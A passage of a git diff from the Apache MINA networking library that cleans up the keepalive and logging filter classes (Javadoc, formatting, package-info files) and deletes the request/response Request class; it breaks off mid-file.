@@ private void markStatus(IoSession session) { private void resetStatus(IoSession session) { session.getConfig().setReaderIdleTime(0); session.getConfig().setWriterIdleTime(0); - session.getConfig().setIdleTime( - interestedIdleStatus, getRequestInterval()); + session.getConfig().setIdleTime(interestedIdleStatus, getRequestInterval()); session.removeAttribute(WAITING_FOR_RESPONSE); } private boolean isKeepAliveMessage(IoSession session, Object message) { - return messageFactory.isRequest(session, message) || - messageFactory.isResponse(session, message); + return messageFactory.isRequest(session, message) || messageFactory.isResponse(session, message); } } diff --git a/mina-core/src/main/java/org/apache/mina/filter/keepalive/KeepAliveMessageFactory.java b/mina-core/src/main/java/org/apache/mina/filter/keepalive/KeepAliveMessageFactory.java index a3e6736826..34ef0209fa 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/keepalive/KeepAliveMessageFactory.java +++ b/mina-core/src/main/java/org/apache/mina/filter/keepalive/KeepAliveMessageFactory.java @@ -27,28 +27,37 @@ * @author Apache MINA Project */ public interface KeepAliveMessageFactory { - + /** - * Returns true if and only if the specified message is a + * @return true if and only if the specified message is a * keep-alive request message. + * + * @param session The current session + * @param message teh message to check */ boolean isRequest(IoSession session, Object message); /** - * Returns true if and only if the specified message is a + * @return true if and only if the specified message is a * keep-alive response message; + * + * @param session The current session + * @param message teh message to check */ boolean isResponse(IoSession session, Object message); - + /** - * Returns a (new) keep-alive request message. - * Returns null if no request is required. + * @return a (new) keep-alive request message or null if no request is required. + * + * @param session The current session */ Object getRequest(IoSession session); - + /** - * Returns a (new) response message for the specified keep-alive request. - * Returns null if no response is required. + * @return a (new) response message for the specified keep-alive request, or null if no response is required. + * + * @param session The current session + * @param request The request we are lookig for */ Object getResponse(IoSession session, Object request); } diff --git a/mina-core/src/main/java/org/apache/mina/filter/keepalive/KeepAliveRequestTimeoutException.java b/mina-core/src/main/java/org/apache/mina/filter/keepalive/KeepAliveRequestTimeoutException.java index e7fdba260e..eba54458a8 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/keepalive/KeepAliveRequestTimeoutException.java +++ b/mina-core/src/main/java/org/apache/mina/filter/keepalive/KeepAliveRequestTimeoutException.java @@ -29,18 +29,37 @@ public class KeepAliveRequestTimeoutException extends RuntimeException { private static final long serialVersionUID = -1985092764656546558L; + /** + * Creates a new instance of a KeepAliveRequestTimeoutException + */ public KeepAliveRequestTimeoutException() { super(); } + /** + * Creates a new instance of a KeepAliveRequestTimeoutException + * + * @param message The detail message + * @param cause The Exception's cause + */ public KeepAliveRequestTimeoutException(String message, Throwable cause) { super(message, cause); } + /** + * Creates a new instance of a KeepAliveRequestTimeoutException + * + * @param message The detail message + */ public KeepAliveRequestTimeoutException(String message) { super(message); } + /** + * Creates a new instance of a KeepAliveRequestTimeoutException + * + * @param cause The Exception's cause + */ public KeepAliveRequestTimeoutException(Throwable cause) { super(cause); } diff --git a/mina-core/src/main/java/org/apache/mina/filter/keepalive/KeepAliveRequestTimeoutHandler.java b/mina-core/src/main/java/org/apache/mina/filter/keepalive/KeepAliveRequestTimeoutHandler.java index 0fe3a491db..663a1f9db0 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/keepalive/KeepAliveRequestTimeoutHandler.java +++ b/mina-core/src/main/java/org/apache/mina/filter/keepalive/KeepAliveRequestTimeoutHandler.java @@ -33,9 +33,8 @@ public interface KeepAliveRequestTimeoutHandler { /** * Do nothing. */ - static KeepAliveRequestTimeoutHandler NOOP = new KeepAliveRequestTimeoutHandler() { - public void keepAliveRequestTimedOut( - KeepAliveFilter filter, IoSession session) throws Exception { + KeepAliveRequestTimeoutHandler NOOP = new KeepAliveRequestTimeoutHandler() { + public void keepAliveRequestTimedOut(KeepAliveFilter filter, IoSession session) throws Exception { // Do nothing. } }; @@ -43,51 +42,43 @@ public void keepAliveRequestTimedOut( /** * Logs a warning message, but doesn't do anything else. */ - static KeepAliveRequestTimeoutHandler LOG = new KeepAliveRequestTimeoutHandler() { - private final Logger LOGGER = - LoggerFactory.getLogger(KeepAliveFilter.class); + KeepAliveRequestTimeoutHandler LOG = new KeepAliveRequestTimeoutHandler() { + private final Logger LOGGER = LoggerFactory.getLogger(KeepAliveFilter.class); - public void keepAliveRequestTimedOut( - KeepAliveFilter filter, IoSession session) throws Exception { - LOGGER.warn("A keep-alive response message was not received within " + - "{} second(s).", filter.getRequestTimeout()); + public void keepAliveRequestTimedOut(KeepAliveFilter filter, IoSession session) throws Exception { + LOGGER.warn("A keep-alive response message was not received within " + "{} second(s).", + filter.getRequestTimeout()); } }; /** * Throws a {@link KeepAliveRequestTimeoutException}. */ - static KeepAliveRequestTimeoutHandler EXCEPTION = new KeepAliveRequestTimeoutHandler() { - public void keepAliveRequestTimedOut( - KeepAliveFilter filter, IoSession session) throws Exception { - throw new KeepAliveRequestTimeoutException( - "A keep-alive response message was not received within " + - filter.getRequestTimeout() + " second(s)."); + KeepAliveRequestTimeoutHandler EXCEPTION = new KeepAliveRequestTimeoutHandler() { + public void keepAliveRequestTimedOut(KeepAliveFilter filter, IoSession session) throws Exception { + throw new KeepAliveRequestTimeoutException("A keep-alive response message was not received within " + + filter.getRequestTimeout() + " second(s)."); } }; /** * Closes the connection after logging. */ - static KeepAliveRequestTimeoutHandler CLOSE = new KeepAliveRequestTimeoutHandler() { - private final Logger LOGGER = - LoggerFactory.getLogger(KeepAliveFilter.class); + KeepAliveRequestTimeoutHandler CLOSE = new KeepAliveRequestTimeoutHandler() { + private final Logger LOGGER = LoggerFactory.getLogger(KeepAliveFilter.class); - public void keepAliveRequestTimedOut( - KeepAliveFilter filter, IoSession session) throws Exception { - LOGGER.warn("Closing the session because a keep-alive response " + - "message was not received within {} second(s).", - filter.getRequestTimeout()); - session.close(true); + public void keepAliveRequestTimedOut(KeepAliveFilter filter, IoSession session) throws Exception { + LOGGER.warn("Closing the session because a keep-alive response " + + "message was not received within {} second(s).", filter.getRequestTimeout()); + session.closeNow(); } }; /** * A special handler for the 'deaf speaker' mode. */ - static KeepAliveRequestTimeoutHandler DEAF_SPEAKER = new KeepAliveRequestTimeoutHandler() { - public void keepAliveRequestTimedOut( - KeepAliveFilter filter, IoSession session) throws Exception { + KeepAliveRequestTimeoutHandler DEAF_SPEAKER = new KeepAliveRequestTimeoutHandler() { + public void keepAliveRequestTimedOut(KeepAliveFilter filter, IoSession session) throws Exception { throw new Error("Shouldn't be invoked. Please file a bug report."); } }; @@ -95,6 +86,10 @@ public void keepAliveRequestTimedOut( /** * Invoked when {@link KeepAliveFilter} couldn't receive the response for * the sent keep alive message. + * + * @param filter The filter to use + * @param session The current session + * @throws Exception If anything went wrong */ void keepAliveRequestTimedOut(KeepAliveFilter filter, IoSession session) throws Exception; } diff --git a/mina-core/src/main/java/org/apache/mina/filter/keepalive/package-info.java b/mina-core/src/main/java/org/apache/mina/filter/keepalive/package-info.java new file mode 100644 index 0000000000..9980c2d371 --- /dev/null +++ b/mina-core/src/main/java/org/apache/mina/filter/keepalive/package-info.java @@ -0,0 +1,26 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ + +/** + * IoFilter that provides the ability for connections to remain open when data is not being transferred. + * + * @author Apache MINA Project + */ +package org.apache.mina.filter.keepalive; diff --git a/mina-core/src/main/java/org/apache/mina/filter/keepalive/package.html b/mina-core/src/main/java/org/apache/mina/filter/keepalive/package.html deleted file mode 100644 index e0ba07fe88..0000000000 --- a/mina-core/src/main/java/org/apache/mina/filter/keepalive/package.html +++ /dev/null @@ -1,24 +0,0 @@ - - - - - - -IoFilter that provides the ability for connections to remain open when data is not being transferred. - - diff --git a/mina-core/src/main/java/org/apache/mina/filter/logging/LogLevel.java b/mina-core/src/main/java/org/apache/mina/filter/logging/LogLevel.java index bd668af4dc..9ec3a046d5 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/logging/LogLevel.java +++ b/mina-core/src/main/java/org/apache/mina/filter/logging/LogLevel.java @@ -24,7 +24,7 @@ * * @author Apache MINA Project * - * @see NoopFilter + * @see LoggingFilter */ public enum LogLevel { @@ -32,27 +32,27 @@ public enum LogLevel { * {@link LogLevel} which logs messages on the TRACE level. */ TRACE(5), - + /** * {@link LogLevel} which logs messages on the DEBUG level. */ DEBUG(4), - + /** * {@link LogLevel} which logs messages on the INFO level. */ INFO(3), - + /** * {@link LogLevel} which logs messages on the WARN level. */ WARN(2), - + /** * {@link LogLevel} which logs messages on the ERROR level. */ ERROR(1), - + /** * {@link LogLevel} which will not log any information */ @@ -60,7 +60,7 @@ public enum LogLevel { /** The internal numeric value associated with the log level */ private int level; - + /** * Create a new instance of a LogLevel. * @@ -69,8 +69,7 @@ public enum LogLevel { private LogLevel(int level) { this.level = level; } - - + /** * @return The numeric value associated with the log level */ diff --git a/mina-core/src/main/java/org/apache/mina/filter/logging/LoggingFilter.java b/mina-core/src/main/java/org/apache/mina/filter/logging/LoggingFilter.java index 7b4db1759d..40fa397106 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/logging/LoggingFilter.java +++ b/mina-core/src/main/java/org/apache/mina/filter/logging/LoggingFilter.java @@ -29,10 +29,10 @@ import org.slf4j.LoggerFactory; /** - * Logs all MINA protocol events. Each event can be - * tuned to use a different level based on the user's specific requirements. Methods - * are in place that allow the user to use either the get or set method for each event - * and pass in the {@link IoEventType} and the {@link LogLevel}. + * Logs MINA protocol events. Each event can be tuned to use a different level based on + * the user's specific requirements. Methods are in place that allow the user to use + * either the get or set method for each event and pass in the {@link IoEventType} and + * the {@link LogLevel}. * * By default, all events are logged to the {@link LogLevel#INFO} level except * {@link IoFilterAdapter#exceptionCaught(IoFilter.NextFilter, IoSession, Throwable)}, @@ -44,38 +44,38 @@ public class LoggingFilter extends IoFilterAdapter { /** The logger name */ private final String name; - + /** The logger */ private final Logger logger; - + /** The log level for the exceptionCaught event. Default to WARN. */ private LogLevel exceptionCaughtLevel = LogLevel.WARN; - + /** The log level for the messageSent event. Default to INFO. */ private LogLevel messageSentLevel = LogLevel.INFO; - + /** The log level for the messageReceived event. Default to INFO. */ private LogLevel messageReceivedLevel = LogLevel.INFO; - + /** The log level for the sessionCreated event. Default to INFO. */ private LogLevel sessionCreatedLevel = LogLevel.INFO; - + /** The log level for the sessionOpened event. Default to INFO. */ private LogLevel sessionOpenedLevel = LogLevel.INFO; - + /** The log level for the sessionIdle event. Default to INFO. */ private LogLevel sessionIdleLevel = LogLevel.INFO; - + /** The log level for the sessionClosed event. Default to INFO. */ private LogLevel sessionClosedLevel = LogLevel.INFO; - + /** * Default Constructor. */ public LoggingFilter() { this(LoggingFilter.class.getName()); } - + /** * Create a new NoopFilter using a class name * @@ -96,7 +96,7 @@ public LoggingFilter(String name) { } else { this.name = name; } - + logger = LoggerFactory.getLogger(this.name); } @@ -106,7 +106,7 @@ public LoggingFilter(String name) { public String getName() { return name; } - + /** * Log if the logger and the current event log level are compatible. We log * a message and an exception. @@ -117,18 +117,29 @@ public String getName() { */ private void log(LogLevel eventLevel, String message, Throwable cause) { switch (eventLevel) { - case TRACE : logger.trace(message, cause); return; - case DEBUG : logger.debug(message, cause); return; - case INFO : logger.info(message, cause); return; - case WARN : logger.warn(message, cause); return; - case ERROR : logger.error(message, cause); return; - default : return; + case TRACE: + logger.trace(message, cause); + return; + case DEBUG: + logger.debug(message, cause); + return; + case INFO: + logger.info(message, cause); + return; + case WARN: + logger.warn(message, cause); + return; + case ERROR: + logger.error(message, cause); + return; + default: + return; } } /** * Log if the logger and the current event log level are compatible. We log - * a formated message and its parameters. + * a formated message and its parameters. * * @param eventLevel the event log level as requested by the user * @param message the formated message to log @@ -136,81 +147,122 @@ private void log(LogLevel eventLevel, String message, Throwable cause) { */ private void log(LogLevel eventLevel, String message, Object param) { switch (eventLevel) { - case TRACE : logger.trace(message, param); return; - case DEBUG : logger.debug(message, param); return; - case INFO : logger.info(message, param); return; - case WARN : logger.warn(message, param); return; - case ERROR : logger.error(message, param); return; - default : return; + case TRACE: + logger.trace(message, param); + return; + case DEBUG: + logger.debug(message, param); + return; + case INFO: + logger.info(message, param); + return; + case WARN: + logger.warn(message, param); + return; + case ERROR: + logger.error(message, param); + return; + default: + return; } } /** * Log if the logger and the current event log level are compatible. We log - * a simple message. + * a simple message. * * @param eventLevel the event log level as requested by the user * @param message the message to log */ private void log(LogLevel eventLevel, String message) { switch (eventLevel) { - case TRACE : logger.trace(message); return; - case DEBUG : logger.debug(message); return; - case INFO : logger.info(message); return; - case WARN : logger.warn(message); return; - case ERROR : logger.error(message); return; - default : return; + case TRACE: + logger.trace(message); + return; + case DEBUG: + logger.debug(message); + return; + case INFO: + logger.info(message); + return; + case WARN: + logger.warn(message); + return; + case ERROR: + logger.error(message); + return; + default: + return; } } + /** + * {@inheritDoc} + */ @Override - public void exceptionCaught(NextFilter nextFilter, IoSession session, - Throwable cause) throws Exception { + public void exceptionCaught(NextFilter nextFilter, IoSession session, Throwable cause) throws Exception { log(exceptionCaughtLevel, "EXCEPTION :", cause); nextFilter.exceptionCaught(session, cause); } + /** + * {@inheritDoc} + */ @Override - public void messageReceived(NextFilter nextFilter, IoSession session, - Object message) throws Exception { - log(messageReceivedLevel, "RECEIVED: {}", message ); + public void messageReceived(NextFilter nextFilter, IoSession session, Object message) throws Exception { + // Note: the way the IoBuffer method is implemented, logging an instance of + // an instance will not change its position. It's safe. + log(messageReceivedLevel, "RECEIVED: {}", message); nextFilter.messageReceived(session, message); } + /** + * {@inheritDoc} + */ @Override - public void messageSent(NextFilter nextFilter, IoSession session, - WriteRequest writeRequest) throws Exception { - log(messageSentLevel, "SENT: {}", writeRequest.getMessage() ); + public void messageSent(NextFilter nextFilter, IoSession session, WriteRequest writeRequest) throws Exception { + // Note: the way the IoBuffer method is implemented, logging an instance of + // an instance will not change its position. It's safe. + log(messageSentLevel, "SENT: {}", writeRequest.getOriginalMessage()); nextFilter.messageSent(session, writeRequest); } + /** + * {@inheritDoc} + */ @Override - public void sessionCreated(NextFilter nextFilter, IoSession session) - throws Exception { + public void sessionCreated(NextFilter nextFilter, IoSession session) throws Exception { log(sessionCreatedLevel, "CREATED"); nextFilter.sessionCreated(session); } + /** + * {@inheritDoc} + */ @Override - public void sessionOpened(NextFilter nextFilter, IoSession session) - throws Exception { + public void sessionOpened(NextFilter nextFilter, IoSession session) throws Exception { log(sessionOpenedLevel, "OPENED"); nextFilter.sessionOpened(session); } + /** + * {@inheritDoc} + */ @Override - public void sessionIdle(NextFilter nextFilter, IoSession session, - IdleStatus status) throws Exception { + public void sessionIdle(NextFilter nextFilter, IoSession session, IdleStatus status) throws Exception { log(sessionIdleLevel, "IDLE"); nextFilter.sessionIdle(session, status); } + /** + * {@inheritDoc} + */ @Override public void sessionClosed(NextFilter nextFilter, IoSession session) throws Exception { log(sessionClosedLevel, "CLOSED"); nextFilter.sessionClosed(session); } - + /** * Set the LogLevel for the ExceptionCaught event. * @@ -219,7 +271,7 @@ public void sessionClosed(NextFilter nextFilter, IoSession session) throws Excep public void setExceptionCaughtLogLevel(LogLevel level) { exceptionCaughtLevel = level; } - + /** * Get the LogLevel for the ExceptionCaught event. * @@ -228,7 +280,7 @@ public void setExceptionCaughtLogLevel(LogLevel level) { public LogLevel getExceptionCaughtLogLevel() { return exceptionCaughtLevel; } - + /** * Set the LogLevel for the MessageReceived event. * @@ -237,7 +289,7 @@ public LogLevel getExceptionCaughtLogLevel() { public void setMessageReceivedLogLevel(LogLevel level) { messageReceivedLevel = level; } - + /** * Get the LogLevel for the MessageReceived event. * @@ -246,7 +298,7 @@ public void setMessageReceivedLogLevel(LogLevel level) { public LogLevel getMessageReceivedLogLevel() { return messageReceivedLevel; } - + /** * Set the LogLevel for the MessageSent event. * @@ -255,7 +307,7 @@ public LogLevel getMessageReceivedLogLevel() { public void setMessageSentLogLevel(LogLevel level) { messageSentLevel = level; } - + /** * Get the LogLevel for the MessageSent event. * @@ -264,7 +316,7 @@ public void setMessageSentLogLevel(LogLevel level) { public LogLevel getMessageSentLogLevel() { return messageSentLevel; } - + /** * Set the LogLevel for the SessionCreated event. * @@ -273,7 +325,7 @@ public LogLevel getMessageSentLogLevel() { public void setSessionCreatedLogLevel(LogLevel level) { sessionCreatedLevel = level; } - + /** * Get the LogLevel for the SessionCreated event. * @@ -282,7 +334,7 @@ public void setSessionCreatedLogLevel(LogLevel level) { public LogLevel getSessionCreatedLogLevel() { return sessionCreatedLevel; } - + /** * Set the LogLevel for the SessionOpened event. * @@ -291,7 +343,7 @@ public LogLevel getSessionCreatedLogLevel() { public void setSessionOpenedLogLevel(LogLevel level) { sessionOpenedLevel = level; } - + /** * Get the LogLevel for the SessionOpened event. * @@ -300,7 +352,7 @@ public void setSessionOpenedLogLevel(LogLevel level) { public LogLevel getSessionOpenedLogLevel() { return sessionOpenedLevel; } - + /** * Set the LogLevel for the SessionIdle event. * @@ -309,7 +361,7 @@ public LogLevel getSessionOpenedLogLevel() { public void setSessionIdleLogLevel(LogLevel level) { sessionIdleLevel = level; } - + /** * Get the LogLevel for the SessionIdle event. * @@ -318,7 +370,7 @@ public void setSessionIdleLogLevel(LogLevel level) { public LogLevel getSessionIdleLogLevel() { return sessionIdleLevel; } - + /** * Set the LogLevel for the SessionClosed event. * diff --git a/mina-core/src/main/java/org/apache/mina/filter/logging/MdcInjectionFilter.java b/mina-core/src/main/java/org/apache/mina/filter/logging/MdcInjectionFilter.java index fdd0b8089a..353b753e53 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/logging/MdcInjectionFilter.java +++ b/mina-core/src/main/java/org/apache/mina/filter/logging/MdcInjectionFilter.java @@ -20,11 +20,11 @@ package org.apache.mina.filter.logging; import java.net.InetSocketAddress; +import java.util.Arrays; import java.util.EnumSet; import java.util.HashSet; import java.util.Map; import java.util.Set; -import java.util.Arrays; import java.util.concurrent.ConcurrentHashMap; import org.apache.mina.core.filterchain.IoFilterEvent; @@ -35,7 +35,7 @@ /** * This filter will inject some key IoSession properties into the Mapped Diagnostic Context (MDC) - *

    + *

    * These properties will be set in the MDC for all logging events that are generated * down the call stack, even in code that is not aware of MINA. * @@ -71,14 +71,34 @@ */ public class MdcInjectionFilter extends CommonEventFilter { - + /** + * This enum lists all the possible keys this filter will process + */ public enum MdcKey { - handlerClass, remoteAddress, localAddress, remoteIp, remotePort, localIp, localPort + /** Tha class handling the requests */ + handlerClass, + + /** The remote peer address */ + remoteAddress, + + /** The local address */ + localAddress, + + /** The remote peer IP address */ + remoteIp, + + /** The remote peer port */ + remotePort, + + /** The local IP address */ + localIp, + + /** The local port */ + localPort } - /** key used for storing the context map in the IoSession */ - private static final AttributeKey CONTEXT_KEY = new AttributeKey( - MdcInjectionFilter.class, "context"); + /** Key used for storing the context map in the IoSession */ + private static final AttributeKey CONTEXT_KEY = new AttributeKey(MdcInjectionFilter.class, "context"); private ThreadLocal callDepth = new ThreadLocal() { @Override @@ -108,14 +128,20 @@ public MdcInjectionFilter(EnumSet keys) { * @see #setProperty(org.apache.mina.core.session.IoSession, String, String) */ public MdcInjectionFilter(MdcKey... keys) { - Set keySet = new HashSet(Arrays.asList(keys)); + Set keySet = new HashSet<>(Arrays.asList(keys)); this.mdcKeys = EnumSet.copyOf(keySet); } + /** + * Create a new MdcInjectionFilter instance + */ public MdcInjectionFilter() { - this.mdcKeys = EnumSet.allOf(MdcKey.class); + mdcKeys = EnumSet.allOf(MdcKey.class); } + /** + * {@inheritDoc} + */ @Override protected void filter(IoFilterEvent event) throws Exception { // since this method can potentially call into itself @@ -140,6 +166,7 @@ protected void filter(IoFilterEvent event) throws Exception { for (String key : context.keySet()) { MDC.remove(key); } + callDepth.remove(); } else { callDepth.set(currentCallDepth); @@ -149,19 +176,23 @@ protected void filter(IoFilterEvent event) throws Exception { private Map getAndFillContext(final IoSession session) { Map context = getContext(session); + if (context.isEmpty()) { fillContext(session, context); } + return context; } @SuppressWarnings("unchecked") private static Map getContext(final IoSession session) { Map context = (Map) session.getAttribute(CONTEXT_KEY); + if (context == null) { - context = new ConcurrentHashMap(); + context = new ConcurrentHashMap<>(); session.setAttribute(CONTEXT_KEY, context); } + return context; } @@ -173,41 +204,46 @@ private static Map getContext(final IoSession session) { */ protected void fillContext(final IoSession session, final Map context) { if (mdcKeys.contains(MdcKey.handlerClass)) { - context.put(MdcKey.handlerClass.name(), session.getHandler() - .getClass().getName()); + context.put(MdcKey.handlerClass.name(), session.getHandler().getClass().getName()); } + if (mdcKeys.contains(MdcKey.remoteAddress)) { - context.put(MdcKey.remoteAddress.name(), session.getRemoteAddress() - .toString()); + context.put(MdcKey.remoteAddress.name(), session.getRemoteAddress().toString()); } + if (mdcKeys.contains(MdcKey.localAddress)) { - context.put(MdcKey.localAddress.name(), session.getLocalAddress() - .toString()); + context.put(MdcKey.localAddress.name(), session.getLocalAddress().toString()); } + if (session.getTransportMetadata().getAddressType() == InetSocketAddress.class) { - InetSocketAddress remoteAddress = (InetSocketAddress) session - .getRemoteAddress(); - InetSocketAddress localAddress = (InetSocketAddress) session - .getLocalAddress(); + InetSocketAddress remoteAddress = (InetSocketAddress) session.getRemoteAddress(); + InetSocketAddress localAddress = (InetSocketAddress) session.getLocalAddress(); + if (mdcKeys.contains(MdcKey.remoteIp)) { - context.put(MdcKey.remoteIp.name(), remoteAddress.getAddress() - .getHostAddress()); + context.put(MdcKey.remoteIp.name(), remoteAddress.getAddress().getHostAddress()); } + if (mdcKeys.contains(MdcKey.remotePort)) { - context.put(MdcKey.remotePort.name(), String - .valueOf(remoteAddress.getPort())); + context.put(MdcKey.remotePort.name(), String.valueOf(remoteAddress.getPort())); } + if (mdcKeys.contains(MdcKey.localIp)) { - context.put(MdcKey.localIp.name(), localAddress.getAddress() - .getHostAddress()); + context.put(MdcKey.localIp.name(), localAddress.getAddress().getHostAddress()); } + if (mdcKeys.contains(MdcKey.localPort)) { - context.put(MdcKey.localPort.name(), String - .valueOf(localAddress.getPort())); + context.put(MdcKey.localPort.name(), String.valueOf(localAddress.getPort())); } } } + /** + * Get the property associated with a given key + * + * @param session The {@link IoSession} + * @param key The key we are looking at + * @return The associated property + */ public static String getProperty(IoSession session, String key) { if (key == null) { throw new IllegalArgumentException("key should not be null"); @@ -215,6 +251,7 @@ public static String getProperty(IoSession session, String key) { Map context = getContext(session); String answer = context.get(key); + if (answer != null) { return answer; } @@ -222,7 +259,6 @@ public static String getProperty(IoSession session, String key) { return MDC.get(key); } - /** * Add a property to the context for the given session * This property will be added to the MDC for all subsequent events @@ -234,18 +270,27 @@ public static void setProperty(IoSession session, String key, String value) { if (key == null) { throw new IllegalArgumentException("key should not be null"); } + if (value == null) { removeProperty(session, key); } + Map context = getContext(session); context.put(key, value); MDC.put(key, value); } + /** + * Remove a property from the context for the given session + * This property will be removed from the MDC for all subsequent events + * @param session The session for which you want to remove a property + * @param key The name of the property (should not be null) + */ public static void removeProperty(IoSession session, String key) { if (key == null) { throw new IllegalArgumentException("key should not be null"); } + Map context = getContext(session); context.remove(key); MDC.remove(key); diff --git a/mina-core/src/main/java/org/apache/mina/filter/logging/package-info.java b/mina-core/src/main/java/org/apache/mina/filter/logging/package-info.java new file mode 100644 index 0000000000..3da84bf90f --- /dev/null +++ b/mina-core/src/main/java/org/apache/mina/filter/logging/package-info.java @@ -0,0 +1,26 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ + +/** + * Classes that implement IoFilter and provide logging of the events and data that flows through a MINA-based system. + * + * @author Apache MINA Project + */ +package org.apache.mina.filter.logging; diff --git a/mina-core/src/main/java/org/apache/mina/filter/logging/package.html b/mina-core/src/main/java/org/apache/mina/filter/logging/package.html deleted file mode 100644 index b08826fab0..0000000000 --- a/mina-core/src/main/java/org/apache/mina/filter/logging/package.html +++ /dev/null @@ -1,24 +0,0 @@ - - - - - - -Classes that implement IoFilter and provide logging of the events and data that flows through a MINA-based system. - - diff --git a/mina-core/src/main/java/org/apache/mina/filter/package-info.java b/mina-core/src/main/java/org/apache/mina/filter/package-info.java new file mode 100644 index 0000000000..a3e182e660 --- /dev/null +++ b/mina-core/src/main/java/org/apache/mina/filter/package-info.java @@ -0,0 +1,26 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ + +/** + * Useful IoFilter implementations. + * + * @author Apache MINA Project + */ +package org.apache.mina.filter; diff --git a/mina-core/src/main/java/org/apache/mina/filter/package.html b/mina-core/src/main/java/org/apache/mina/filter/package.html deleted file mode 100644 index 015a4bfdee..0000000000 --- a/mina-core/src/main/java/org/apache/mina/filter/package.html +++ /dev/null @@ -1,24 +0,0 @@ - - - - - - -Useful IoFilter implementations. - - diff --git a/mina-core/src/main/java/org/apache/mina/filter/reqres/Request.java b/mina-core/src/main/java/org/apache/mina/filter/reqres/Request.java deleted file mode 100644 index e0c0ec0905..0000000000 --- a/mina-core/src/main/java/org/apache/mina/filter/reqres/Request.java +++ /dev/null @@ -1,224 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - * - */ -package org.apache.mina.filter.reqres; - -import java.util.NoSuchElementException; -import java.util.concurrent.BlockingQueue; -import java.util.concurrent.LinkedBlockingQueue; -import java.util.concurrent.ScheduledFuture; -import java.util.concurrent.TimeUnit; - -/** - * TODO Add documentation - * - * @author Apache MINA Project - */ -public class Request { - private final Object id; - - private final Object message; - - private final long timeoutMillis; - - private volatile Runnable timeoutTask; - - private volatile ScheduledFuture timeoutFuture; - - private final BlockingQueue responses; - - private volatile boolean endOfResponses; - - public Request(Object id, Object message, long timeoutMillis) { - this(id, message, true, timeoutMillis); - } - - public Request(Object id, Object message, boolean useResponseQueue, - long timeoutMillis) { - this(id, message, useResponseQueue, timeoutMillis, - TimeUnit.MILLISECONDS); - } - - public Request(Object id, Object message, long timeout, TimeUnit unit) { - this(id, message, true, timeout, unit); - } - - public Request(Object id, Object message, boolean useResponseQueue, - long timeout, TimeUnit unit) { - if (id == null) { - throw new IllegalArgumentException("id"); - } - if (message == null) { - throw new IllegalArgumentException("message"); - } - if (timeout < 0) { - throw new IllegalArgumentException("timeout: " + timeout - + " (expected: 0+)"); - } else if (timeout == 0) { - timeout = Long.MAX_VALUE; - } - - if (unit == null) { - throw new IllegalArgumentException("unit"); - } - - this.id = id; - this.message = message; - this.responses = useResponseQueue ? new LinkedBlockingQueue() : null; - this.timeoutMillis = unit.toMillis(timeout); - } - - public Object getId() { - return id; - } - - public Object getMessage() { - return message; - } - - public long getTimeoutMillis() { - return timeoutMillis; - } - - public boolean isUseResponseQueue() { - return responses != null; - } - - public boolean hasResponse() { - checkUseResponseQueue(); - return !responses.isEmpty(); - } - - public Response awaitResponse() throws RequestTimeoutException, - InterruptedException { - checkUseResponseQueue(); - chechEndOfResponses(); - return convertToResponse(responses.take()); - } - - public Response awaitResponse(long timeout, TimeUnit unit) - throws RequestTimeoutException, InterruptedException { - checkUseResponseQueue(); - chechEndOfResponses(); - return convertToResponse(responses.poll(timeout, unit)); - } - - private Response convertToResponse(Object o) { - if (o instanceof Response) { - return (Response) o; - } - - if (o == null) { - return null; - } - - throw (RequestTimeoutException) o; - } - - public Response awaitResponseUninterruptibly() - throws RequestTimeoutException { - for (; ;) { - try { - return awaitResponse(); - } catch (InterruptedException e) { - // Do nothing - } - } - } - - private void chechEndOfResponses() { - if (responses != null && endOfResponses && responses.isEmpty()) { - throw new NoSuchElementException( - "All responses has been retrieved already."); - } - } - - private void checkUseResponseQueue() { - if (responses == null) { - throw new UnsupportedOperationException( - "Response queue is not available; useResponseQueue is false."); - } - } - - void signal(Response response) { - signal0(response); - if (response.getType() != ResponseType.PARTIAL) { - endOfResponses = true; - } - } - - void signal(RequestTimeoutException e) { - signal0(e); - endOfResponses = true; - } - - private void signal0(Object answer) { - if (responses != null) { - responses.add(answer); - } - } - - @Override - public int hashCode() { - return getId().hashCode(); - } - - @Override - public boolean 